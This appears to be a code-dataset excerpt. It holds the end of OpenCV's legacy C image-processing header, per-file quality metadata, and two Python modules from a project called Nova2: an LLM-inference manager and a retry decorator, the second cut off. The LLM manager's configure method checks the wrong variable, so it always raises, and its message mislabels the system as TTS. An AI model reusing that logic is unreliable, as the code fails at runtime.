float** ranges CV_DEFAULT(NULL),
int uniform CV_DEFAULT(1));
/** @brief Sets the bounds of the histogram bins.
This is a standalone function for setting bin ranges in the histogram. For a more detailed
description of the parameters ranges and uniform, see the :ocvCalcHist function that can initialize
the ranges as well. Ranges for the histogram bins must be set before the histogram is calculated or
the backproject of the histogram is calculated.
@param hist Histogram.
@param ranges Array of bin ranges arrays. See :ocvCreateHist for details.
@param uniform Uniformity flag. See :ocvCreateHist for details.
*/
CVAPI(void) cvSetHistBinRanges( CvHistogram* hist, float** ranges,
int uniform CV_DEFAULT(1));
/** @brief Makes a histogram out of an array.
The function initializes the histogram, whose header and bins are allocated by the user.
cvReleaseHist does not need to be called afterwards. Only dense histograms can be initialized this
way. The function returns hist.
@param dims Number of the histogram dimensions.
@param sizes Array of the histogram dimension sizes.
@param hist Histogram header initialized by the function.
@param data Array used to store histogram bins.
@param ranges Histogram bin ranges. See cvCreateHist for details.
@param uniform Uniformity flag. See cvCreateHist for details.
*/
CVAPI(CvHistogram*) cvMakeHistHeaderForArray(
int dims, int* sizes, CvHistogram* hist,
float* data, float** ranges CV_DEFAULT(NULL),
int uniform CV_DEFAULT(1));
/** @brief Releases the histogram.
The function releases the histogram (header and the data). The pointer to the histogram is cleared
by the function. If \*hist pointer is already NULL, the function does nothing.
@param hist Double pointer to the released histogram.
*/
CVAPI(void) cvReleaseHist( CvHistogram** hist );
/** @brief Clears the histogram.
The function sets all of the histogram bins to 0 in case of a dense histogram and removes all
histogram bins in case of a sparse array.
@param hist Histogram.
*/
CVAPI(void) cvClearHist( CvHistogram* hist );
/** @brief Finds the minimum and maximum histogram bins.
The function finds the minimum and maximum histogram bins and their positions. All of output
arguments are optional. Among several extremas with the same value the ones with the minimum index
(in the lexicographical order) are returned. In case of several maximums or minimums, the earliest
in the lexicographical order (extrema locations) is returned.
@param hist Histogram.
@param min_value Pointer to the minimum value of the histogram.
@param max_value Pointer to the maximum value of the histogram.
@param min_idx Pointer to the array of coordinates for the minimum.
@param max_idx Pointer to the array of coordinates for the maximum.
*/
CVAPI(void) cvGetMinMaxHistValue( const CvHistogram* hist,
float* min_value, float* max_value,
int* min_idx CV_DEFAULT(NULL),
int* max_idx CV_DEFAULT(NULL));
/** @brief Normalizes the histogram.
The function normalizes the histogram bins by scaling them so that the sum of the bins becomes equal
to factor.
@param hist Pointer to the histogram.
@param factor Normalization factor.
*/
CVAPI(void) cvNormalizeHist( CvHistogram* hist, double factor );
/** @brief Thresholds the histogram.
The function clears histogram bins that are below the specified threshold.
@param hist Pointer to the histogram.
@param threshold Threshold level.
*/
CVAPI(void) cvThreshHist( CvHistogram* hist, double threshold );
/** Compares two histogram */
CVAPI(double) cvCompareHist( const CvHistogram* hist1,
const CvHistogram* hist2,
int method);
/** @brief Copies a histogram.
The function makes a copy of the histogram. If the second histogram pointer \*dst is NULL, a new
histogram of the same size as src is created. Otherwise, both histograms must have equal types and
sizes. Then the function copies the bin values of the source histogram to the destination histogram
and sets the same bin value ranges as in src.
@param src Source histogram.
@param dst Pointer to the destination histogram.
*/
CVAPI(void) cvCopyHist( const CvHistogram* src, CvHistogram** dst );
/** @brief Calculates bayesian probabilistic histograms
(each or src and dst is an array of _number_ histograms */
CVAPI(void) cvCalcBayesianProb( CvHistogram** src, int number,
CvHistogram** dst);
/** @brief Calculates array histogram
@see cv::calcHist
*/
CVAPI(void) cvCalcArrHist( CvArr** arr, CvHistogram* hist,
int accumulate CV_DEFAULT(0),
const CvArr* mask CV_DEFAULT(NULL) );
/** @overload */
CV_INLINE void cvCalcHist( IplImage** image, CvHistogram* hist,
int accumulate CV_DEFAULT(0),
const CvArr* mask CV_DEFAULT(NULL) )
{
cvCalcArrHist( (CvArr**)image, hist, accumulate, mask );
}
/** @brief Calculates back project
@see cvCalcBackProject, cv::calcBackProject
*/
CVAPI(void) cvCalcArrBackProject( CvArr** image, CvArr* dst,
const CvHistogram* hist );
#define cvCalcBackProject(image, dst, hist) cvCalcArrBackProject((CvArr**)image, dst, hist)
/** @brief Locates a template within an image by using a histogram comparison.
The function calculates the back projection by comparing histograms of the source image patches with
the given histogram. The function is similar to matchTemplate, but instead of comparing the raster
patch with all its possible positions within the search window, the function CalcBackProjectPatch
compares histograms. See the algorithm diagram below:
@param image Source images (though, you may pass CvMat\*\* as well).
@param dst Destination image.
@param range
@param hist Histogram.
@param method Comparison method passed to cvCompareHist (see the function description).
@param factor Normalization factor for histograms that affects the normalization scale of the
destination image. Pass 1 if not sure.
@see cvCalcBackProjectPatch
*/
CVAPI(void) cvCalcArrBackProjectPatch( CvArr** image, CvArr* dst, CvSize range,
CvHistogram* hist, int method,
double factor );
#define cvCalcBackProjectPatch( image, dst, range, hist, method, factor ) \
cvCalcArrBackProjectPatch( (CvArr**)image, dst, range, hist, method, factor )
/** @brief Divides one histogram by another.
The function calculates the object probability density from two histograms as:
\f[\texttt{disthist} (I)= \forkthree{0}{if \(\texttt{hist1}(I)=0\)}{\texttt{scale}}{if \(\texttt{hist1}(I) \ne 0\) and \(\texttt{hist2}(I) > \texttt{hist1}(I)\)}{\frac{\texttt{hist2}(I) \cdot \texttt{scale}}{\texttt{hist1}(I)}}{if \(\texttt{hist1}(I) \ne 0\) and \(\texttt{hist2}(I) \le \texttt{hist1}(I)\)}\f]
@param hist1 First histogram (the divisor).
@param hist2 Second histogram.
@param dst_hist Destination histogram.
@param scale Scale factor for the destination histogram.
*/
CVAPI(void) cvCalcProbDensity( const CvHistogram* hist1, const CvHistogram* hist2,
CvHistogram* dst_hist, double scale CV_DEFAULT(255) );
/** @brief equalizes histogram of 8-bit single-channel image
@see cv::equalizeHist
*/
CVAPI(void) cvEqualizeHist( const CvArr* src, CvArr* dst );
/** @brief Applies distance transform to binary image
@see cv::distanceTransform
*/
CVAPI(void) cvDistTransform( const CvArr* src, CvArr* dst,
int distance_type CV_DEFAULT(CV_DIST_L2),
int mask_size CV_DEFAULT(3),
const float* mask CV_DEFAULT(NULL),
CvArr* labels CV_DEFAULT(NULL),
int labelType CV_DEFAULT(CV_DIST_LABEL_CCOMP));
/** @brief Applies fixed-level threshold to grayscale image.
This is a basic operation applied before retrieving contours
@see cv::threshold
*/
CVAPI(double) cvThreshold( const CvArr* src, CvArr* dst,
double threshold, double max_value,
int threshold_type );
/** @brief Applies adaptive threshold to grayscale image.
The two parameters for methods CV_ADAPTIVE_THRESH_MEAN_C and
CV_ADAPTIVE_THRESH_GAUSSIAN_C are:
neighborhood size (3, 5, 7 etc.),
and a constant subtracted from mean (...,-3,-2,-1,0,1,2,3,...)
@see cv::adaptiveThreshold
*/
CVAPI(void) cvAdaptiveThreshold( const CvArr* src, CvArr* dst, double max_value,
int adaptive_method CV_DEFAULT(CV_ADAPTIVE_THRESH_MEAN_C),
int threshold_type CV_DEFAULT(CV_THRESH_BINARY),
int block_size CV_DEFAULT(3),
double param1 CV_DEFAULT(5));
/** @brief Fills the connected component until the color difference gets large enough
@see cv::floodFill
*/
CVAPI(void) cvFloodFill( CvArr* image, CvPoint seed_point,
CvScalar new_val, CvScalar lo_diff CV_DEFAULT(cvScalarAll(0)),
CvScalar up_diff CV_DEFAULT(cvScalarAll(0)),
CvConnectedComp* comp CV_DEFAULT(NULL),
int flags CV_DEFAULT(4),
CvArr* mask CV_DEFAULT(NULL));
/****************************************************************************************\
* Feature detection *
\****************************************************************************************/
/** @brief Runs canny edge detector
@see cv::Canny
*/
CVAPI(void) cvCanny( const CvArr* image, CvArr* edges, double threshold1,
double threshold2, int aperture_size CV_DEFAULT(3) );
/** @brief Calculates constraint image for corner detection
Dx^2 * Dyy + Dxx * Dy^2 - 2 * Dx * Dy * Dxy.
Applying threshold to the result gives coordinates of corners
@see cv::preCornerDetect
*/
CVAPI(void) cvPreCornerDetect( const CvArr* image, CvArr* corners,
int aperture_size CV_DEFAULT(3) );
/** @brief Calculates eigen values and vectors of 2x2
gradient covariation matrix at every image pixel
@see cv::cornerEigenValsAndVecs
*/
CVAPI(void) cvCornerEigenValsAndVecs( const CvArr* image, CvArr* eigenvv,
int block_size, int aperture_size CV_DEFAULT(3) );
/** @brief Calculates minimal eigenvalue for 2x2 gradient covariation matrix at
every image pixel
@see cv::cornerMinEigenVal
*/
CVAPI(void) cvCornerMinEigenVal( const CvArr* image, CvArr* eigenval,
int block_size, int aperture_size CV_DEFAULT(3) );
/** @brief Harris corner detector:
Calculates det(M) - k*(trace(M)^2), where M is 2x2 gradient covariation matrix for each pixel
@see cv::cornerHarris
*/
CVAPI(void) cvCornerHarris( const CvArr* image, CvArr* harris_response,
int block_size, int aperture_size CV_DEFAULT(3),
double k CV_DEFAULT(0.04) );
/** @brief Adjust corner position using some sort of gradient search
@see cv::cornerSubPix
*/
CVAPI(void) cvFindCornerSubPix( const CvArr* image, CvPoint2D32f* corners,
int count, CvSize win, CvSize zero_zone,
CvTermCriteria criteria );
/** @brief Finds a sparse set of points within the selected region
that seem to be easy to track
@see cv::goodFeaturesToTrack
*/
CVAPI(void) cvGoodFeaturesToTrack( const CvArr* image, CvArr* eig_image,
CvArr* temp_image, CvPoint2D32f* corners,
int* corner_count, double quality_level,
double min_distance,
const CvArr* mask CV_DEFAULT(NULL),
int block_size CV_DEFAULT(3),
int use_harris CV_DEFAULT(0),
double k CV_DEFAULT(0.04) );
/** @brief Finds lines on binary image using one of several methods.
line_storage is either memory storage or 1 x _max number of lines_ CvMat, its
number of columns is changed by the function.
method is one of CV_HOUGH_*;
rho, theta and threshold are used for each of those methods;
param1 ~ line length, param2 ~ line gap - for probabilistic,
param1 ~ srn, param2 ~ stn - for multi-scale
@see cv::HoughLines
*/
CVAPI(CvSeq*) cvHoughLines2( CvArr* image, void* line_storage, int method,
double rho, double theta, int threshold,
double param1 CV_DEFAULT(0), double param2 CV_DEFAULT(0),
double min_theta CV_DEFAULT(0), double max_theta CV_DEFAULT(CV_PI));
/** @brief Finds circles in the image
@see cv::HoughCircles
*/
CVAPI(CvSeq*) cvHoughCircles( CvArr* image, void* circle_storage,
int method, double dp, double min_dist,
double param1 CV_DEFAULT(100),
double param2 CV_DEFAULT(100),
int min_radius CV_DEFAULT(0),
int max_radius CV_DEFAULT(0));
/** @brief Fits a line into set of 2d or 3d points in a robust way (M-estimator technique)
@see cv::fitLine
*/
CVAPI(void) cvFitLine( const CvArr* points, int dist_type, double param,
double reps, double aeps, float* line );
/****************************************************************************************\
* Drawing *
\****************************************************************************************/
/****************************************************************************************\
* Drawing functions work with images/matrices of arbitrary type. *
* For color images the channel order is BGR[A] *
* Antialiasing is supported only for 8-bit image now. *
* All the functions include parameter color that means rgb value (that may be *
* constructed with CV_RGB macro) for color images and brightness *
* for grayscale images. *
* If a drawn figure is partially or completely outside of the image, it is clipped.*
\****************************************************************************************/
#define CV_FILLED -1
#define CV_AA 16
/** @brief Draws 4-connected, 8-connected or antialiased line segment connecting two points
@see cv::line
*/
CVAPI(void) cvLine( CvArr* img, CvPoint pt1, CvPoint pt2,
CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0) );
/** @brief Draws a rectangle given two opposite corners of the rectangle (pt1 & pt2)
if thickness<0 (e.g. thickness == CV_FILLED), the filled box is drawn
@see cv::rectangle
*/
CVAPI(void) cvRectangle( CvArr* img, CvPoint pt1, CvPoint pt2,
CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8),
int shift CV_DEFAULT(0));
/** @brief Draws a rectangle specified by a CvRect structure
@see cv::rectangle
*/
CVAPI(void) cvRectangleR( CvArr* img, CvRect r,
CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8),
int shift CV_DEFAULT(0));
/** @brief Draws a circle with specified center and radius.
Thickness works in the same way as with cvRectangle
@see cv::circle
*/
CVAPI(void) cvCircle( CvArr* img, CvPoint center, int radius,
CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0));
/** @brief Draws ellipse outline, filled ellipse, elliptic arc or filled elliptic sector
depending on _thickness_, _start_angle_ and _end_angle_ parameters. The resultant figure
is rotated by _angle_. All the angles are in degrees
@see cv::ellipse
*/
CVAPI(void) cvEllipse( CvArr* img, CvPoint center, CvSize axes,
double angle, double start_angle, double end_angle,
CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0));
CV_INLINE void cvEllipseBox( CvArr* img, CvBox2D box, CvScalar color,
int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0) )
{
CvSize axes = cvSize(
cvRound(box.size.width*0.5),
cvRound(box.size.height*0.5)
);
cvEllipse( img, cvPointFrom32f( box.center ), axes, box.angle,
0, 360, color, thickness, line_type, shift );
}
/** @brief Fills convex or monotonous polygon.
@see cv::fillConvexPoly
*/
CVAPI(void) cvFillConvexPoly( CvArr* img, const CvPoint* pts, int npts, CvScalar color,
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0));
/** @brief Fills an area bounded by one or more arbitrary polygons
@see cv::fillPoly
*/
CVAPI(void) cvFillPoly( CvArr* img, CvPoint** pts, const int* npts,
int contours, CvScalar color,
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0) );
/** @brief Draws one or more polygonal curves
@see cv::polylines
*/
CVAPI(void) cvPolyLine( CvArr* img, CvPoint** pts, const int* npts, int contours,
int is_closed, CvScalar color, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8), int shift CV_DEFAULT(0) );
#define cvDrawRect cvRectangle
#define cvDrawLine cvLine
#define cvDrawCircle cvCircle
#define cvDrawEllipse cvEllipse
#define cvDrawPolyLine cvPolyLine
/** @brief Clips the line segment connecting *pt1 and *pt2
by the rectangular window
(0<=x<img_size.width, 0<=y<img_size.height).
@see cv::clipLine
*/
CVAPI(int) cvClipLine( CvSize img_size, CvPoint* pt1, CvPoint* pt2 );
/** @brief Initializes line iterator.
Initially, line_iterator->ptr will point to pt1 (or pt2, see left_to_right description) location in
the image. Returns the number of pixels on the line between the ending points.
@see cv::LineIterator
*/
CVAPI(int) cvInitLineIterator( const CvArr* image, CvPoint pt1, CvPoint pt2,
CvLineIterator* line_iterator,
int connectivity CV_DEFAULT(8),
int left_to_right CV_DEFAULT(0));
#define CV_NEXT_LINE_POINT( line_iterator ) \
{ \
int _line_iterator_mask = (line_iterator).err < 0 ? -1 : 0; \
(line_iterator).err += (line_iterator).minus_delta + \
((line_iterator).plus_delta & _line_iterator_mask); \
(line_iterator).ptr += (line_iterator).minus_step + \
((line_iterator).plus_step & _line_iterator_mask); \
}
#define CV_FONT_HERSHEY_SIMPLEX 0
#define CV_FONT_HERSHEY_PLAIN 1
#define CV_FONT_HERSHEY_DUPLEX 2
#define CV_FONT_HERSHEY_COMPLEX 3
#define CV_FONT_HERSHEY_TRIPLEX 4
#define CV_FONT_HERSHEY_COMPLEX_SMALL 5
#define CV_FONT_HERSHEY_SCRIPT_SIMPLEX 6
#define CV_FONT_HERSHEY_SCRIPT_COMPLEX 7
#define CV_FONT_ITALIC 16
#define CV_FONT_VECTOR0 CV_FONT_HERSHEY_SIMPLEX
/** Font structure */
typedef struct CvFont
{
const char* nameFont; //Qt:nameFont
CvScalar color; //Qt:ColorFont -> cvScalar(blue_component, green_component, red_component[, alpha_component])
int font_face; //Qt: bool italic /** =CV_FONT_* */
const int* ascii; //!< font data and metrics
const int* greek;
const int* cyrillic;
float hscale, vscale;
float shear; //!< slope coefficient: 0 - normal, >0 - italic
int thickness; //!< Qt: weight /** letters thickness */
float dx; //!< horizontal interval between letters
int line_type; //!< Qt: PointSize
}
CvFont;
/** @brief Initializes font structure (OpenCV 1.x API).
The function initializes the font structure that can be passed to text rendering functions.
@param font Pointer to the font structure initialized by the function
@param font_face Font name identifier. See cv::HersheyFonts and corresponding old CV_* identifiers.
@param hscale Horizontal scale. If equal to 1.0f , the characters have the original width
depending on the font type. If equal to 0.5f , the characters are of half the original width.
@param vscale Vertical scale. If equal to 1.0f , the characters have the original height depending
on the font type. If equal to 0.5f , the characters are of half the original height.
@param shear Approximate tangent of the character slope relative to the vertical line. A zero
value means a non-italic font, 1.0f means about a 45 degree slope, etc.
@param thickness Thickness of the text strokes
@param line_type Type of the strokes, see line description
@sa cvPutText
*/
CVAPI(void) cvInitFont( CvFont* font, int font_face,
double hscale, double vscale,
double shear CV_DEFAULT(0),
int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8));
CV_INLINE CvFont cvFont( double scale, int thickness CV_DEFAULT(1) )
{
CvFont font;
cvInitFont( &font, CV_FONT_HERSHEY_PLAIN, scale, scale, 0, thickness, CV_AA );
return font;
}
/** @brief Renders text stroke with specified font and color at specified location.
CvFont should be initialized with cvInitFont
@see cvInitFont, cvGetTextSize, cvFont, cv::putText
*/
CVAPI(void) cvPutText( CvArr* img, const char* text, CvPoint org,
const CvFont* font, CvScalar color );
/** @brief Calculates bounding box of text stroke (useful for alignment)
@see cv::getTextSize
*/
CVAPI(void) cvGetTextSize( const char* text_string, const CvFont* font,
CvSize* text_size, int* baseline );
/** @brief Unpacks color value
if arrtype is CV_8UC?, _color_ is treated as packed color value, otherwise the first channels
(depending on arrtype) of destination scalar are set to the same value = _color_
*/
CVAPI(CvScalar) cvColorToScalar( double packed_color, int arrtype );
/** @brief Returns the polygon points which make up the given ellipse.
The ellipse is define by the box of size 'axes' rotated 'angle' around the 'center'. A partial
sweep of the ellipse arc can be done by specifying arc_start and arc_end to be something other than
0 and 360, respectively. The input array 'pts' must be large enough to hold the result. The total
number of points stored into 'pts' is returned by this function.
@see cv::ellipse2Poly
*/
CVAPI(int) cvEllipse2Poly( CvPoint center, CvSize axes,
int angle, int arc_start, int arc_end, CvPoint * pts, int delta );
/** @brief Draws contour outlines or filled interiors on the image
@see cv::drawContours
*/
CVAPI(void) cvDrawContours( CvArr *img, CvSeq* contour,
CvScalar external_color, CvScalar hole_color,
int max_level, int thickness CV_DEFAULT(1),
int line_type CV_DEFAULT(8),
CvPoint offset CV_DEFAULT(cvPoint(0,0)));
/** @} */
#ifdef __cplusplus
}
#endif
#endif
| 51,023 | imgproc_c | h | en | c | code | {"qsc_code_num_words": 6278, "qsc_code_num_chars": 51023.0, "qsc_code_mean_word_length": 5.19194011, "qsc_code_frac_words_unique": 0.19624084, "qsc_code_frac_chars_top_2grams": 0.04058905, "qsc_code_frac_chars_top_3grams": 0.01073784, "qsc_code_frac_chars_top_4grams": 0.01325357, "qsc_code_frac_chars_dupe_5grams": 0.21389784, "qsc_code_frac_chars_dupe_6grams": 0.17162141, "qsc_code_frac_chars_dupe_7grams": 0.14526768, "qsc_code_frac_chars_dupe_8grams": 0.12811781, "qsc_code_frac_chars_dupe_9grams": 0.10839086, "qsc_code_frac_chars_dupe_10grams": 0.0999233, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01071354, "qsc_code_frac_chars_whitespace": 0.24630069, "qsc_code_size_file_byte": 51023.0, "qsc_code_num_lines": 1177.0, "qsc_code_num_chars_line_max": 311.0, "qsc_code_num_chars_line_mean": 43.35004248, "qsc_code_frac_chars_alphabet": 0.83687851, "qsc_code_frac_chars_comments": 0.55959077, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.21212121, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00115705, "qsc_code_frac_chars_long_word_length": 0.00111255, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.42424242, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.43250689, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null} | 0 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 1, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0} |
00Julian00/Nova2 | app/llm_manager.py | """
Description: This script manages interactions with LLMs.
"""
from transformers import AutoTokenizer
from Nova2.app.tool_data import LLMTool
from Nova2.app.database_manager import MemoryEmbeddingDatabaseManager
from Nova2.app.interfaces import LLMInferenceEngineBase
from Nova2.app.llm_data import LLMConditioning, LLMResponse, Conversation, MemoryConfig, Message
from Nova2.app.context_data import Context
from Nova2.app.library_manager import LibraryManager
from Nova2.app.inference_engine_manager import InferenceEngineManager
from Nova2.app.helpers import is_configured
class LLMManager:
def __init__(self) -> None:
"""
This class provides the interface for LLM interaction.
"""
self._conditioning: LLMConditioning = None # type: ignore
self._conditioning_dirty = None
self._library = LibraryManager()
self._inference_engine_manager = InferenceEngineManager()
def configure(self, conditioning: LLMConditioning) -> None:
"""
Configure the LLM system.
"""
if not self._conditioning_dirty:
raise Exception("Failed to initialize TTS. No TTS conditioning provided.")
self._conditioning_dirty = conditioning
def apply_config(self) -> None:
"""
Applies the configuration and loads the model into memory.
"""
if self._conditioning_dirty is None:
raise Exception("Failed to initialize LLM. No LLM conditioning provided.")
self._conditioning = self._conditioning_dirty
self._inference_engine: LLMInferenceEngineBase = self._inference_engine_manager.request_engine(
self._conditioning.inference_engine,
"LLM"
) # type: ignore
self._inference_engine.initialize_model(self._conditioning)
@is_configured
def prompt_llm(
self,
conversation: Conversation | Context,
tools: list[LLMTool] | None = None,
memory_config: MemoryConfig | None = None,
instruction: str | None = None
) -> LLMResponse:
"""
Run inference on an LLM.
Arguments:
instruction (str | None): Instruction is added as a system prompt.
conversation (Conversation | Context): The conversation that the LLM will base its response on. Can be type Conversation or type Context.
tools (list[LLMTool] | None): The tools the LLM has access to.
model (str): The model that should be used for inference.
perform_rag (bool): Whether to search for additional data in the memory database based on the newest user message.
Returns:
LLMResponse: The response of the LLM. Also includes tool calls.
"""
if type(conversation) == Context:
conv: Conversation = conversation.to_conversation()
else:
conv: Conversation = conversation # type: ignore
if self._conditioning.add_default_sys_prompt:
prompt = self._library.retrieve_datapoint("prompt_library", "default_sys_prompt")
conv.add_message(Message(author="system", content=prompt)) # type: ignore
if instruction != "" and instruction is not None:
conv.add_message(Message(author="system", content=instruction))
# Can not process an empty conversation. Add dummy data
if len(conv._conversation) == 0:
conv.add_message(Message(author="system", content="You are a helpful assistant."))
if memory_config and memory_config.retrieve_memories:
db = MemoryEmbeddingDatabaseManager()
text = conv.get_newest("user").content # type: ignore
text_split = text.split(". ")
results = ""
for sentence in text_split:
retrieved = db.search_semantic(
text=sentence,
num_of_results=memory_config.num_results,
search_area=memory_config.search_area,
cosine_threshold=memory_config.cosine_threshold
)
if retrieved:
for block in retrieved:
for sent in block:
results += sent
results += "|"
if results != "": # Don't add anything if there are no search results
conv.add_message(
Message(author="system", content=f"Information that is potentially relevant to the conversation: {results}. This information was retrieved from the database.")
)
response = self._inference_engine.run_inference(conversation=conv, tools=tools) # type: ignore
# Split at "</think>"
if self._conditioning.filter_thinking_process:
resp_clean = ""
split = response.message.split("</think>")
if len(split) > 1:
resp_clean = split[1]
else:
resp_clean = response.message
response.message = resp_clean.strip()
return response # type: ignore
@staticmethod
def count_tokens(text: str, model: str) -> int:
tokenizer = AutoTokenizer.from_pretrained(model)
return len(tokenizer.tokenize(text))
| 5,454 | llm_manager | py | en | python | code | {"qsc_code_num_words": 556, "qsc_code_num_chars": 5454.0, "qsc_code_mean_word_length": 5.89028777, "qsc_code_frac_words_unique": 0.3057554, "qsc_code_frac_chars_top_2grams": 0.05862595, "qsc_code_frac_chars_top_3grams": 0.02931298, "qsc_code_frac_chars_top_4grams": 0.02564885, "qsc_code_frac_chars_dupe_5grams": 0.0848855, "qsc_code_frac_chars_dupe_6grams": 0.04885496, "qsc_code_frac_chars_dupe_7grams": 0.04885496, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0029232, "qsc_code_frac_chars_whitespace": 0.31004767, "qsc_code_size_file_byte": 5454.0, "qsc_code_num_lines": 135.0, "qsc_code_num_chars_line_max": 180.0, "qsc_code_num_chars_line_mean": 40.4, "qsc_code_frac_chars_alphabet": 0.86739304, "qsc_code_frac_chars_comments": 0.18115145, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.02439024, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07780107, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.06097561, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.1097561, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.20731707, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
00Julian00/Nova2 | app/recovery_manager.py | """
Descriptions: Responsible for attempting automated recovery of sub-systems upon Exceptions.
"""
from typing import Callable
from warnings import warn
from time import time
def automated_recovery(max_attempts_per_minute: int = 3):
def decorator(func):
def wrapper(*args, **kwargs):
process = ManagedProcess(func, max_attempts_per_minute, *args, **kwargs)
return process.start_process()
return wrapper
return decorator
class ManagedProcess:
"""
Represents a process that is managed by the RecoveryManager.
"""
def __init__(self, function: Callable, max_recoveries_per_minute: int, *args, **kwargs):
if max_recoveries_per_minute <= 0:
raise ValueError("max_recoveries_per_minute must be greater than 0")
self.function = function
self.args = args
self.kwargs = kwargs
self.total_recoveries = 0
self.max_recoveries_per_minute = max_recoveries_per_minute
self.recovery_timestamps = []
def truncate_recovery_timestamps(self) -> None:
"""
Truncates the recovery timestamps to the maximum allowed recoveries per minute.
"""
current_time = time()
while (len(self.recovery_timestamps) > 0 and self.recovery_timestamps[0] < current_time - 60):
self.recovery_timestamps.pop(0)
def start_process(self) -> None:
"""
Starts the managed process.
"""
try:
self.function(*self.args, **self.kwargs)
except Exception as e:
warn(f"Exception occurred in managed process: \"{e}\" This is exception number {self.total_recoveries + 1} of {self.max_recoveries_per_minute} allowed recoveries per minute. {self.total_recoveries + 1} recoveries so far.", stacklevel=2)
self.truncate_recovery_timestamps()
